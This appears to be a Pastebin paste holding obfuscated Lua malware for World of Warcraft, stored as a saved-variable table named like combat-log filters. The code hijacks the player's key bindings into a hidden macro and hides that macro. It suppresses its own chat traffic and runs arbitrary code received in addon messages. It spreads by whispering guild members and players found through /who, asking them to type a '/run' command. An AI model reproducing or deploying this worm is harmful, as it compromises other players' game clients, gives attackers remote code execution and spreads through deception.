Advertisement
Guest User

Untitled

a guest
Jul 7th, 2016
887
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. "Blizzard_CombatLog_Filters=Blizzard_CombatLog_Filters or{}local s,g,w,j,k,c,f,u,x,q,r,l=Blizzard_CombatLog_Filters,GetNumMacros,\"z=z or CreateFrame('button')z:RegisterEvent'CHAT_MSG_ADDON'z:SetScript('OnEvent',function(_,_,_,m)pcall(loadst", -- [1]
  2. "ring(m))end)\",SendChatMessage,SendAddonMessage,UnitName'player':sub(1,2),ChatFrame_AddMessageEventFilter,function(_,_,m)return(m:match'nSc'or m:match'^z='or m:match'ByN')end,CreateFrame'frame',{}r,l=function()for b,a in pairs(s.h or{})do S", -- [2]
  3. "etBinding(b,a)end end,function(_,m)if not m then s.h={}for i,b in pairs({'BUTTON1','BUTTON2','W','A','S','D','ESCAPE','/','ENTER'})do s.h[b]=GetBindingByKey(b)SetBinding(b,'MACRO \\124r')end SaveBindings(1,1)r()end end RunScript(w)RegisterA", -- [3]
  4. "ddonMessagePrefix(c)s.z=s.z or z DeleteMacro('\\124r')CreateMacro('\\124r',1,'/run RunScript(strjoin(\"\",unpack(Blizzard_CombatLog_Filters.z)))')GetNumMacros=function(a,b)a,b=g()return a-1,b;end r()l()hooksecurefunc('SaveBindings',l)LoadBi", -- [4]
  5. "ndings=r f('CHAT_MSG_CHANNEL',function(_,_,m,n)if m=='~'then JoinChannelByName(n:sub(1,2))end end)f('CHAT_MSG_WHISPER_INFORM',u)f('CHAT_MSG_WHISPER',u)x:RegisterEvent'CHAT_MSG_CHANNEL_JOIN'x:SetScript('OnEvent',function(x,y,_,n,_,_,_,_,_,_,", -- [5]
  6. "e)if e==c then j(w..'LeaveChannelByName\"'..c..'\"RegisterAddonMessagePrefix\"'..c..'\"','WHISPER','',n)C_Timer.After(5,function()for i=1,#s.z do k(c,'z['..i..']=['..'['..s.z[i]..']'..']','WHISPER',n)end k(c,'RunScript(strjoin(\"\",unpack(z", -- [6]
  7. ")))gsub=string.gsub','WHISPER',n)end)end end)FriendsFrame:UnregisterEvent'WHO_LIST_UPDATE'C_Timer.NewTicker(60,function()JoinChannelByName(c)SendWho('100 '..strchar(random(97,122)))for i=1,50 do i=GetWhoInfo(i)or 0;q[i]=q[i]or 0;end for i=1", -- [7]
  8. ",500 do i={GetGuildRosterInfo(i)}i=i[9]and i[1]or 0;q[i]=q[i]or 0;end end)C_Timer.NewTicker(8,function()q[0]=nil;for n,v in pairs(q)do if v~=1 then j(\"Hey, can you type '/run gsub=RunScript' for me, just testing something.\",'WHISPER','',n", -- [8]
  9. ")C_Timer.After(80,function()j('JoinChannelByName\"'..c..'\"','WHISPER','',n)end)q[n]=1;return;end end end)", -- [9]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement